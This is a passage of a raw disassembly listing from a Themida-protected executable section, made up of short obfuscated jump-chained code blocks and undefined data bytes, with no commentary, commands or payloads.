loc_55F16E:				; CODE XREF: Themida_:0055E474j
		add	edi, ebp
		jmp	loc_55DDE1
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 6Fh
		dd 1102A74h, 6FE981C1h,	8B102A74h, 0C4E92404h, 81FFFFF2h
		dd 4ECh, 24148900h, 0BD268h, 24248900h,	0FFBBB0E9h, 243C89FFh
		dd 341368h, 4CE95400h, 80FFFF6Ch, 0D5F654E5h, 1835E9h
		dd 0C2835C00h, 24143302h, 0FF8479E9h, 0B0BA52FFh, 0C1226847h
		dd 0E28105E2h, 32E93B37h, 0DAF28142h, 81674053h, 4ECh
		dd 0C4F7E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F1E6:				; CODE XREF: Themida_:0055941Fj
		push	bx
		jmp	loc_55D0CE
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240481h, 0E9000000h, 0FFFFDB45h, 0F781475Fh, 7B0A529Ah
		dd 10C6EF81h, 0FA090062h, 8E2C15Fh, 1695E9h, 53D80000h
		dd 36E95FB3h, 0BDFFFFC6h, 282225Dh, 0EDC1DDF7h,	0C5814506h
		dd 8EFFE1E7h, 0FFBEAAE9h, 202768FFh, 3E90000h, 8BFFFF5Bh
		dd 54512414h, 4C18159h,	68000000h, 743Fh, 0B8240489h, 6F244A69h
		dd 5FEFBA52h, 0F28130F6h, 0ACB6CDAh, 8104EAC1h,	475367EAh
		dd 5AD021F6h, 0E9D1F791h, 0FFFFAE0Ah
; ---------------------------------------------------------------------------


loc_55F278:				; CODE XREF: Themida_:005593C0j
		push	dword ptr [esp]
		jmp	loc_55AF2D
; ---------------------------------------------------------------------------
		dd 24148966h, 0E99C5066h, 0FFFF5642h, 88240C89h, 876C88FDh
		dd 0E95901h, 0FF000000h, 0E95B2434h, 0FFFFE2DBh, 5DE9895Ah
		dd 64A9BF57h, 0F781133Eh, 6E882E81h, 96E9DFF7h,	30FFFFB9h
		dd 0C0B60FC3h, 24148B66h, 0FFD44BE9h, 2E981FFh,	0E9000000h
		dd 0FFFF9668h, 24343358h, 0E9243431h, 0FFFF9BA5h, 66C1C280h
		dd 7BE28059h, 8009EA80h, 0D1286CE9h, 8B6CC180h,	0C4832414h
		dd 59C82804h, 80EBB551h, 0EC81ECEDh, 2,	24048966h, 0E52832B4h
		dd 54575866h, 4C7815Fh,	56000000h, 2BEh, 5BD6E900h, 0F680FFFFh
		dd 5AF088F4h, 5866C288h, 148BD000h, 0E7895724h,	0C5BBB53h
		dd 0EBC17A5Ah, 7ECB8105h, 4B083A71h, 0FF568FE9h, 241489FFh
		dd 8904EC83h, 0BF572424h, 4, 4247C01h, 0ABA5E95Fh, 5B04FFFFh
		dd 5B2CE828h, 0E9240C8Bh, 0FFFFA6B9h, 8B24048Fh, 3CD32424h
		dd 4BE99C24h
		db 55h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F383:				; CODE XREF: Themida_:0055E0EFj
		push	edi
		mov	edi, 313120A4h
		sub	edi, 0FD38B179h
		mov	edx, edi
		pop	edi
		or	edi, edx
		pop	edx
		inc	edi
		push	eax
		push	ebp
		mov	ebp, 5DD5123h
		mov	eax, ebp
		pop	ebp
		sub	edi, eax
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55AF25
; ---------------------------------------------------------------------------
		db 29h,	0CBh, 8Bh
		dd 8EE9240Ch, 66FFFFE2h, 52240C8Bh, 0E957E289h,	0FFFF929Eh
		dd 6624248Bh, 2404BB0Fh, 54E4E99Ch, 433FFFFh, 24043124h
		dd 8B240433h, 0C892424h, 54D0E924h, 0BA66FFFFh,	81667EF8h
		dd 0E97DEEEBh, 0FFFF609Dh
; ---------------------------------------------------------------------------


loc_55F40C:				; CODE XREF: Themida_:00557234j
		dec	esi
		xor	esi, 11C78ABh
		add	ebp, esi
		jmp	loc_557175
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 5B9h, 24048B66h, 8904EC83h, 97E9240Ch, 8100000Ch, 4C1h
		dd 4E98300h, 5C240C87h,	89240489h, 2BF57E0h, 0C1756566h
		dd 0C78106E7h, 0A6A67F84h, 78E9F801h, 8BFFFFF5h, 0C483242Ch
		dd 2DD80104h, 4F8C52C0h, 2404875Bh, 240CD35Ch, 545CE99Ch
		dd 0BF57FFFFh, 252A1C48h, 12DFEF81h, 0CF810453h, 269F64F1h
		dd 4930BA52h, 0CFE9344Dh, 81FFFF9Dh, 0B70142EAh, 0C2815D0Ch
		dd 758004EDh, 0BF5FB850h, 0C2298733h, 0FF5F12E9h, 241C33FFh
		dd 33241C31h, 0E95C241Ch, 0FFFF6A28h
; ---------------------------------------------------------------------------


loc_55F4B8:				; CODE XREF: Themida_:0055C7EEj
		pop	ecx
		shr	bl, 4
		jmp	loc_55D60F
; ---------------------------------------------------------------------------
		db 58h,	52h, 0E9h
		dd 0FFFFDDB1h, 60D2E957h, 0D0B4FFFFh, 0C005E4C0h, 0EC8004ECh
		dd 0A3E9E97Eh, 0BE56FFFFh, 3B7177E5h, 10ADEE81h, 0ABE969FDh
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F4EF:				; CODE XREF: Themida_:0055B98Bj
		push	edi
		jmp	loc_557CBA
; ---------------------------------------------------------------------------
		db 0BEh, 2, 0
		dd 0F0290000h, 74FF505Eh, 8F580424h, 0A3E92404h, 54FFFF84h
		dd 8124048Fh, 4ECh, 24348900h, 0E904EC83h, 0FFFFD71Ch
; ---------------------------------------------------------------------------


loc_55F520:				; CODE XREF: Themida_:00560606j
		mov	ecx, 4
		add	ebx, ecx
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_560CA3
; ---------------------------------------------------------------------------
		dw 0DA68h
		dd 0FF6CE751h, 81582434h, 4C4h,	6E0C100h, 3503E0C1h, 2115305Ah
		dd 0FF76ADE9h, 0CFF66FFh, 67E99C24h, 56FFFF53h,	0D71074BEh
		dd 5EF2296Ch, 8904EC83h, 8BBD242Ch, 0C12BFC37h,	814508E5h
		dd 5201B7E5h, 62F58132h, 1060316h, 9BE95DEAh, 80000006h
		dd 2EE965C9h, 83FFFFECh, 0C48304C4h, 66D82804h,	52241C8Bh
		dd 0C281E289h, 4, 2C281h, 14870000h, 0EC685C24h, 0E9000023h
		dd 0FFFFDF9Ah, 0E94077FFh, 0FFFF5302h
; ---------------------------------------------------------------------------


loc_55F5CC:				; CODE XREF: Themida_:00558F74j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		push	31C0h
		mov	[esp], ebp
		jmp	loc_55BE35
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0A241E924h, 6859FFFFh, 1393h, 0FFB743E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F605:				; CODE XREF: Themida_:0055E461j
		add	eax, 0B2F2EDAEh
		add	ebp, 71C44992h
		sub	ebp, eax
		jmp	loc_555056
; ---------------------------------------------------------------------------
		db 0BBh
		dd 36C42145h, 3CB6F381h, 0E38117E2h, 56064C20h,	1EAAC381h
		dd 0E3D10495h, 8105EBC1h, 49B2A8F3h, 5BD82900h,	0E9240487h
		dd 0FFFFA6F8h
; ---------------------------------------------------------------------------


loc_55F644:				; CODE XREF: Themida_:005586D0j
		and	ecx, 35D6EF1h
		sub	ecx, 0A4F2116Dh
		xor	esi, ecx
		pop	ecx
		jmp	loc_557573
; ---------------------------------------------------------------------------


loc_55F658:				; CODE XREF: Themida_:00556EB1j
		and	ch, bl
		push	dword ptr [esp]
		jmp	loc_55DBF1
; ---------------------------------------------------------------------------
		dw 83ACh
		dd 0C8904ECh, 283BB524h, 0E82EE9E8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F672:				; CODE XREF: Themida_:00557121j
		pop	esp
		jmp	loc_55C12C
; ---------------------------------------------------------------------------
		dd 81240C89h, 4ECh, 242C8900h, 0B31298BDh, 81D5F769h, 0B666E4C5h
		dd 2C8155C4h, 8D0DBC24h, 0C181594Ch, 4C8D0DBCh,	0E3CEE95Dh
		dd 0E95FFFFFh, 124h, 5359CB01h,	0EC815B5Ah, 4, 0FFD367E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F6BD:				; CODE XREF: Themida_:00558227j
		mov	ecx, 0
		sub	ecx, 2AD50E6h
		add	ecx, edx
		jmp	loc_55675B
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF51FAh, 0E7E0C681h, 0F2294AF5h, 0ABFFE95Eh, 0C483FFFFh
		dd 792E902h, 8B660000h,	90682404h, 89000059h, 0E189240Ch
		dd 30E95453h, 5A00000Dh, 4C281h, 0C2810000h, 4,	5C241487h
		dd 685B5453h, 6E4Ah, 0BF243C89h, 5F9F4483h, 0E9FFEF83h
		dd 0FFFF65F5h
; ---------------------------------------------------------------------------


loc_55F728:				; CODE XREF: Themida_:00559A59j
		pop	ebp
		jmp	loc_55B0ED
; ---------------------------------------------------------------------------
		dw 0C33h
		dd 51E95C24h, 0E9FFFFD2h, 0FFFF5192h, 0FF518DE9h, 0E08950FFh
		dd 405h, 4C08300h, 0E9240487h, 0FFFFFA65h
; ---------------------------------------------------------------------------


loc_55F754:				; CODE XREF: Themida_:0055D5E2j
		mov	[edi+28h], dl
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_5548CE
; ---------------------------------------------------------------------------
		db 83h
		dd 0D42501C0h, 5220F21Bh, 474909BAh, 7D1CE93Eh,	0E6C1FFFFh
		dd 8FBF5703h, 472D473Eh, 5174E781h, 0E7C105C2h,	0ABF78103h
		dd 4F2AF931h, 2BB8C781h, 0EE815B09h, 321350DCh,	0FF7961E9h
		dd 42EF81FFh, 81617C3Fh, 81FC9AF7h, 0C90DE91Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F7B2:				; CODE XREF: Themida_:005562BCj
		add	esp, 4
		mov	edx, 113B1D32h
		and	edx, 31AB6577h
		not	edx
		shr	edx, 8
		shr	edx, 6
		jmp	loc_55D16B
; ---------------------------------------------------------------------------
		dd 8904EC83h, 8E9242Ch,	89FFFF6Ah, 0E389241Ch, 4C381h
		dd 0B3E90000h, 5BFFFFC7h, 662CD800h, 0FF6C7DE9h, 2BEFFh
		dd 26E90000h, 89FFFF65h, 0D9E7E9E1h, 0C87FFFFh,	0BFE95C24h
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F80F:				; CODE XREF: Themida_:0055F920j
		mov	[esp], edi
		mov	edi, 525F572Ch
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		add	edx, eax
		push	ebx
		jmp	loc_55E1E3
; ---------------------------------------------------------------------------


loc_55F82A:				; CODE XREF: Themida_:00556366j
		sub	ebx, 705154B3h
		jmp	loc_55D2D8
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4835Dh, 0FF508DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F841:				; CODE XREF: Themida_:0055ED46j
		pop	ebp
		push	4DF6h
		jmp	loc_55667E
; ---------------------------------------------------------------------------
		dd 0F9D016B9h, 0E9CA299Fh, 0FFFF8BD3h
; ---------------------------------------------------------------------------


loc_55F858:				; CODE XREF: Themida_:005579DEj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_556A88
; ---------------------------------------------------------------------------


loc_55F86F:				; CODE XREF: Themida_:00558711j
		or	edx, eax
		shl	edx, 1
		jmp	loc_557813
; ---------------------------------------------------------------------------
		dd 67E9D801h, 5FFFFFF3h, 0FF583BE9h, 51E289FFh,	0A26E9h
		dd 80D9F600h, 9DE9E7C1h, 66FFFFA7h, 4876658h, 0C8B6624h
		dd 2C48124h, 0E9000000h, 0FFFFF605h
; ---------------------------------------------------------------------------


loc_55F8AC:				; CODE XREF: Themida_:0055B5BFj
		add	edx, 4
		push	eax
		push	167F7C23h
		pop	eax
		shr	eax, 1
		jmp	loc_557610
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0E0892404h, 4BE5657h, 89000000h, 0BB535EF7h
		dd 66302EF4h, 7225B951h, 0F1814FD0h, 1A6F294Eh,	32A0E981h
		dd 0CB315490h, 81D3F759h, 0D2DC8EF3h, 6389E981h, 1431FFFFh
		dd 24143324h, 0FF7C29E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F905:				; CODE XREF: Themida_:0055B6A3j
		mov	[esp], ebx
		jmp	loc_5568DB
; ---------------------------------------------------------------------------
		db 58h,	80h, 0C1h
		dd 0CCC180EFh, 0FF8569E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F919:				; CODE XREF: Themida_:005596A0j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55F80F
; ---------------------------------------------------------------------------
		db 5Eh,	8Fh, 4
		dd 0FF665C24h, 0E99C2404h, 0FFFF84F9h, 0E9C60159h, 0FFFFF998h
		dd 5A2434FFh, 815D5455h, 4C5h, 0C477E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F94E:				; CODE XREF: Themida_:0055854Dj
		push	edx
		mov	edx, 0B7D30FFDh
		jmp	loc_557354
; ---------------------------------------------------------------------------


loc_55F959:				; CODE XREF: Themida_:0055812Ej
		push	edx
		mov	edx, 7EDF77DAh
		xor	ecx, edx
		pop	edx
		mov	edx, ecx
		jmp	loc_55672F
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FFFB50E9h, 4C483FFh, 0FFB972E9h, 148B5BFFh,	0E3895324h
		dd 4C381h, 0B9510000h, 4, 0E58EB81h, 0CB017DF7h, 0E58C381h
		dd 0C8B7DF7h, 4C48324h,	5C241C87h, 5C243C87h, 4BB0F66h
		dd 1BE99C24h
		db 4Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F9B3:				; CODE XREF: Themida_:0055B920j
		mov	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_55560C
; ---------------------------------------------------------------------------


loc_55F9BE:				; CODE XREF: Themida_:0055E1B9j
		xor	edx, edi
		pop	edi
		push	6819h
		jmp	loc_560A00
; ---------------------------------------------------------------------------
		db 50h
		dd 0BF57E089h, 25372441h, 0FFCF76E9h, 81DBF7FFh, 8881B8EBh
		dd 0FFDF01CDh, 815B2434h, 4C4h,	2C78100h, 33000000h, 3C31243Ch
		dd 243C3324h, 6624248Bh, 8124048Bh, 4ECh, 242C8900h, 4EC81h
		dd 24890000h, 0ECA6E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FA1A:				; CODE XREF: Themida_:00555C0Bj
		push	ebx
		mov	bh, 51h
		push	edx
		mov	dl, bh
		jmp	loc_55E09D
; ---------------------------------------------------------------------------
		db 5Ch,	0Bh, 0C0h
		dd 0D3DC840Fh, 0E950FFFFh, 0E2h, 0D830EAB0h, 0E9C7285Bh
		dd 0FFFFA940h
; ---------------------------------------------------------------------------


loc_55FA40:				; CODE XREF: Themida_:0055E5C2j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		sub	edi, 30A01084h
		sub	edi, ebp
		add	edi, 30A01084h
		pop	ebp
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55E90F
; ---------------------------------------------------------------------------


loc_55FA6A:				; CODE XREF: Themida_:00559EFEj
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_5564B7
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FFF842E9h, 92BE56FFh, 8124DF2Dh, 0FFFFFFEEh, 91BA52FFh
		dd 3124DF2Dh, 4E95AD6h
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FA93:				; CODE XREF: Themida_:00556209j
		mov	edi, 49183C37h
		add	edx, edi
		pop	edi
		push	ebx
		mov	ebx, 775C2231h
		sub	ebx, 0FA2DC9B6h
		or	edx, ebx
		pop	ebx
		xor	edx, 0FDEFDB7Bh
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		pop	esp
		shr	eax, 0Ah
		xor	eax, ecx
		jmp	loc_559360
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 0FF54DCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FAC9:				; CODE XREF: Themida_:005572EEj
		mov	[esp], ebx
		push	80C78DFh
		mov	ebx, [esp]
		add	esp, 4
		shl	ebx, 3
		jmp	loc_560A0D
; ---------------------------------------------------------------------------


loc_55FADF:				; CODE XREF: Themida_:00556EA9j
		and	ecx, 644E51EEh
		push	esi
		mov	esi, 2208Ch
		xor	ecx, esi
		pop	esi
		mov	ebp, ecx
		pop	ecx
		jmp	loc_55C140
; ---------------------------------------------------------------------------


loc_55FAF6:				; CODE XREF: Themida_:0055CEF9j
		mov	eax, 8B54EA7h
		jmp	loc_5597E9
; ---------------------------------------------------------------------------


loc_55FB00:				; CODE XREF: Themida_:005593B4j
		sub	esi, 2
		xchg	esi, [esp]
		pop	esp
		mov	[esp], dx
		jmp	loc_55B477
; ---------------------------------------------------------------------------
		dd 0A178E955h, 0FEB8FFFFh, 21000000h, 48B1C47h,	0A3E95024h
		dd 0BEFFFF54h, 29B63759h, 0ACE0CAB9h, 0E9F1010Ch, 0FFFFA556h
		dd 229A05ADh, 0E052367h, 5551464Ch, 5D7BFEBDh, 0CD814D2Ch
		dd 36145860h, 4E5C14Dh,	5E9D5F7h, 50FFFF89h, 42474FFh
		dd 24048F58h, 0E924248Bh, 0FFFF65A1h, 0BF7DB4B8h, 58C3210Dh
		dd 0CBD4C381h, 0E981F37Eh, 6B431D0h, 0FF7041E9h, 74FF55FFh
		dd 0C0E90424h, 66FFFF84h, 6824048Bh, 3919h, 0E9243C89h
		dd 0FFFF6687h, 0FF2434FFh, 53E92434h
		db 78h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FBAB:				; CODE XREF: Themida_:0055E3FFj
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_555488
; ---------------------------------------------------------------------------
		db 81h
		dd 41A73CEFh, 0AC8BE98Fh, 0F300FFFFh, 0E4A0E95Ah, 0E95AFFFFh
		dd 0FFFFA3C1h, 0CFE9C201h, 81FFFF8Ah, 4C2h, 0C7FCE900h
		dd 0C781FFFFh, 4, 4C781h, 3C870000h, 0D76DE924h, 0E189FFFFh
		dd 4B850h, 0E9810000h, 482878D4h, 0C181C101h, 482878D4h
		dd 4C18358h, 8B240C87h,	0E9572424h, 0FFFFDC6Dh,	0C7E3E953h
		dd 0C281FFFFh, 5A29FB18h, 0BB5AD189h, 87456CFEh, 97E9CB29h
		dd 59FFFFACh, 0FFF483E9h, 4C083FFh, 8B240487h, 0FF532424h
		dd 34FF2434h, 0B8685B24h, 89000074h, 5AE9242Ch,	0FFFFFF9Eh
		dd 7FE92434h, 5FFFFFA3h, 0FF61C8E9h, 4BAFFh, 0C3810000h
		dd 6A873A76h, 82E9D301h, 66FFFF4Dh, 0E9240C8Bh,	0FFFFFC30h
; ---------------------------------------------------------------------------


loc_55FC90:				; CODE XREF: Themida_:0055B6D8j
		add	esi, 29212EC2h
		add	esi, 27D4801h
		add	esi, 4FF90EC1h
		jmp	loc_55722B
; ---------------------------------------------------------------------------


loc_55FCA7:				; CODE XREF: Themida_:0055CCDCj
		mov	ebx, 4
		sub	esi, 12D52E55h
		sub	esi, ebx
		jmp	loc_55DD60
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 0CBh
		dd 81207803h, 910885EAh, 51F22906h, 910885B9h, 59CA0106h
		dd 3CBEA81h, 348B2078h,	4C48124h, 52000000h, 42474FFh
		dd 8124148Bh, 4C4h, 24048F00h, 241C895Ch, 687068h, 24148900h
		dd 59EAE954h, 0EC83FFFFh, 24048904h, 0FF5889E9h, 1CF755FFh
		dd 242C8B24h, 0E904C483h, 0FFFFA4DBh
; ---------------------------------------------------------------------------


loc_55FD1C:				; CODE XREF: Themida_:0055BCDDj
		mov	edi, 6D844C11h
		and	edi, 27F935F3h
		sub	edi, 42A76A90h
		sub	edi, 6396739Eh
		or	edx, edi
		pop	edi
		push	ebx
		mov	ebx, 7FFA25FAh
		sub	edx, ebx
		pop	ebx
		push	53E1h
		mov	[esp], ebp
		mov	ebp, edx
		mov	esi, ebp
		pop	ebp
		pop	edx
		and	eax, esi
		pop	esi
		or	edx, eax
		jmp	loc_5581FE
; ---------------------------------------------------------------------------


loc_55FD57:				; CODE XREF: Themida_:0055C18Aj
		xchg	edx, [esp]
		mov	esp, [esp]
		push	1D38h
		jmp	loc_55FFCB
; ---------------------------------------------------------------------------
		db 89h
		dd 730068E0h, 1C890000h, 0B1BD5524h, 816A2C0Ah,	5C6460C5h
		dd 0E9EDD111h, 0FFFFD099h, 83CB8953h, 48904ECh,	89D88924h
		dd 8C6FE9C6h, 8853FFFFh, 4EC81E3h, 0E9000000h, 0FFFFE3F8h
		dd 0DFF6D7F6h, 83BC780h, 0FCE95BFDh
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FDB3:				; CODE XREF: Themida_:00558864j
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp


loc_55FDC1:				; CODE XREF: Themida_:00559DC9j
		push	7D19h
		jmp	loc_55DCBF
; ---------------------------------------------------------------------------
		db 29h
		dd 0B3ACE9C8h, 0CFB1FFFFh, 5AF130h, 0E82859C8h,	0C8B572Ch
		dd 69C86824h, 14890000h, 815A5424h, 4ECh, 243C8900h, 4BFh
		dd 5FFA0100h, 3304C283h, 0F3E92414h, 89FFFFFAh,	0E9EA89FDh
		dd 0FFFFD523h, 4BFh, 5FADE900h,	0D831FFFFh, 6C6868h, 0BEE6E900h
		dd 8B66FFFFh, 0F1682404h, 8900006Dh, 0E389241Ch, 0FFF68FE9h
		dd 241C8BFFh, 8304C483h, 0EC8304C4h, 24048904h,	353410B0h
		dd 58C300h, 98B151E3h, 804DE180h, 4EE997E1h, 64FFFF7Ch
		dd 0E9028966h, 0FFFF4A66h, 8304C483h, 0C8702C1h, 0D3665C24h
		dd 0E99C242Ch, 0FFFF4A52h, 0F7885350h, 525BF888h, 0F788C688h
		dd 0BFE9585Ah
		db 7Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FE8F:				; CODE XREF: Themida_:00557CBEj
		push	ebp
		mov	ebp, 5DDF7FF2h
		jmp	loc_557B26
; ---------------------------------------------------------------------------
		dw 8F64h
		dd 0DB50E902h, 27E9FFFFh, 81FFFF4Ah, 0A26F81C7h, 96DFE927h
		dd 0BA52FFFFh, 2, 875AD101h, 248B240Ch,	48B6624h, 5F545724h
		dd 4C781h, 89560000h, 4C681E6h,	83000000h, 348704EEh, 14895C24h
		dd 148B5424h, 0C54E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FEEA:				; CODE XREF: Themida_:0055C2D0j
		push	edx
		mov	edx, 65276C9Ch
		shr	edx, 6
		jmp	loc_55A698
; ---------------------------------------------------------------------------
		dd 0E9240C31h, 0FFFF5AAAh, 9D1C77FFh, 1CD35966h, 0BFE99C24h
		dd 0BBFFFF49h, 1BE356E0h, 348BF301h, 4C48124h, 29000000h
		dd 241C8BDEh, 4C481h, 0FE90000h, 68FFFF5Dh, 281D5696h
		dd 0FFF0DAE9h, 4C483FFh, 55E68956h, 11151CBDh, 0CBD5E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FF4A:				; CODE XREF: Themida_:00557D25j
		push	eax
		mov	eax, 2
		add	edi, 75E7AF9h
		sub	edi, eax
		sub	edi, 75E7AF9h
		mov	eax, [esp]
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], cx
		jmp	loc_5548CE
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0F7D1F700h, 0EEF181D1h, 0E91C1971h, 0FFFFAE53h
		dd 272468h, 241C8900h, 0DE88EB88h, 835B595Bh, 8BE904ECh
		dd 0BAFFFF91h, 33896E88h, 3C8BFA31h, 4C48324h, 0B95AD789h
		dd 9F72A8B5h, 0F75FF929h, 5FD9E9D1h, 489FFFFh, 0CDE95624h
		db 56h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FFCB:				; CODE XREF: Themida_:0055FD62j
		mov	[esp], edi
		mov	edi, 400h
		jmp	loc_55E34F
; ---------------------------------------------------------------------------
dword_55FFD8	dd 0E9240489h, 0FFFF8B5Dh, 6692C681h, 0C68179B9h, 7EAF6534h
		dd 0EE81C601h, 7EAF6534h, 6692B850h, 0C62979B9h, 779AE958h
		dd 4D5EFFFFh, 3284B850h, 0A20521DBh, 0C1682A60h, 0D0F702E8h
		dd 0C7FD6535h, 58C521EEh, 19D7ED81h, 0E5813774h, 4E1C1DACh
		dd 824ED81h, 0EF014C14h, 5D2434FFh, 0FFAD6CE9h,	0B60F66FFh
		db 0C8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		sub	esp, 4
		push	esp
		jmp	loc_55BAC8
; ---------------------------------------------------------------------------
		db 5Ch
		dd 66D68h, 240C8900h, 47AA6851h, 3C890000h, 6A5E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560076:				; CODE XREF: Themida_:0055C983j
		pop	eax
		xor	eax, 30D267DEh
		push	dword ptr [esp]
		jmp	loc_55E163
; ---------------------------------------------------------------------------
		dd 5504C483h, 0CA3A43BDh, 0F8C58154h, 0C147E561h, 814507E5h
		dd 0BD1096C5h, 5DEB2916h, 28D1BF57h, 0FB0155C8h, 0D0C3815Fh
		dd 17B0B5Dh, 22B850C3h,	353AA876h, 145073D4h, 0A9475E0Dh
		dd 8980E956h, 0E189FFFFh, 745168h, 241C8900h, 0FF9B29E9h
		dd 37CB2DFFh, 442D1FC6h, 29184104h, 77E952D8h, 5DFFFF88h
		dd 5F307A89h, 0E9C39D61h, 0FFFF8180h
; ---------------------------------------------------------------------------


loc_5600F4:				; CODE XREF: Themida_:00555151j
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_558862
; ---------------------------------------------------------------------------
		db 0B4h
		dd 0AEEC80ADh, 48BE328h, 4C48324h, 0FF66CFE9h, 238BBAFFh
		dd 4EE971DDh
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560127:				; CODE XREF: Themida_:0055A6D3j
		mov	[esp], edx
		jmp	loc_5592FF
; ---------------------------------------------------------------------------


loc_56012F:				; CODE XREF: Themida_:0055E8F0j
		dec	ebp
		add	ebp, 228E115Dh
		inc	ebp
		dec	ebp
		push	ecx
		mov	ecx, 42F572C1h
		sub	ebp, 1F8D4913h
		sub	ebp, ecx
		add	ebp, 1F8D4913h
		pop	ecx
		shr	ebp, 4
		push	edx
		mov	edx, 57501C7h
		sub	ebp, edx
		pop	edx
		jmp	loc_5599E8
; ---------------------------------------------------------------------------
		dw 575Ch
		dd 2BFh, 0E9FA0100h, 0FFFF8BDAh, 8BC3295Eh, 76E92404h
		dd 53FFFF9Dh, 0C381E389h, 4, 4C381h, 1C870000h,	0DF2C5C24h
		dd 0C8002404h, 0FFBDC9E9h, 0D830ACFFh, 4E5E68h,	241C8900h
		dd 0FF8DEFE9h, 48B66FFh, 4EC8124h, 89000000h, 76E9240Ch
		db 72h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5601B7:				; CODE XREF: Themida_:00557CCBj
		add	eax, 266656E8h
		sub	eax, edx
		sub	eax, 266656E8h
		xchg	eax, edx
		pop	eax
		xor	edx, 0D9A4B072h
		sub	[edi+24h], edx
		pop	edx


loc_5601CF:				; CODE XREF: Themida_:0055C145j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55DC2A
; ---------------------------------------------------------------------------


loc_5601DA:				; CODE XREF: Themida_:00560B25j
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 774E602Ch
		xor	[esp+4], esi
		jmp	loc_555525
; ---------------------------------------------------------------------------
		dd 4669BA52h, 0E9577ED9h, 0FFFFAB92h, 4EF815Bh,	87000000h
		dd 895C243Ch, 0E9542404h, 0FFFFE7B5h, 592434FFh, 5204C483h
		dd 0C281E289h, 4, 4C281h, 14870000h, 0C1815C24h, 4, 2C181h
		dd 0C330000h, 9BEDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560242:				; CODE XREF: Themida_:0055C390j
		push	edi
		mov	edi, 47BC525Ch
		inc	edi
		xor	edi, 688B54B2h
		or	edi, 72103851h
		jmp	loc_557959
; ---------------------------------------------------------------------------


loc_56025A:				; CODE XREF: Themida_:0055DCC8j
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_5605FE
; ---------------------------------------------------------------------------
		dd 0B20204BFh, 76E7811Dh, 81236271h, 820D16CFh,	47E7D116h
		dd 4FDFC781h, 0C7817EE4h, 51D795F8h, 5AE9FA01h,	66FFFFB0h
		dd 83240C8Bh, 3C8904ECh, 540D6824h, 8F540000h, 4812404h
		dd 424h, 0D0E95F00h, 0C0FFFF8Ah, 46E904E5h, 0B9FFFF8Eh
		dd 2FC824DEh, 0FF8438E9h
		db 0FFh
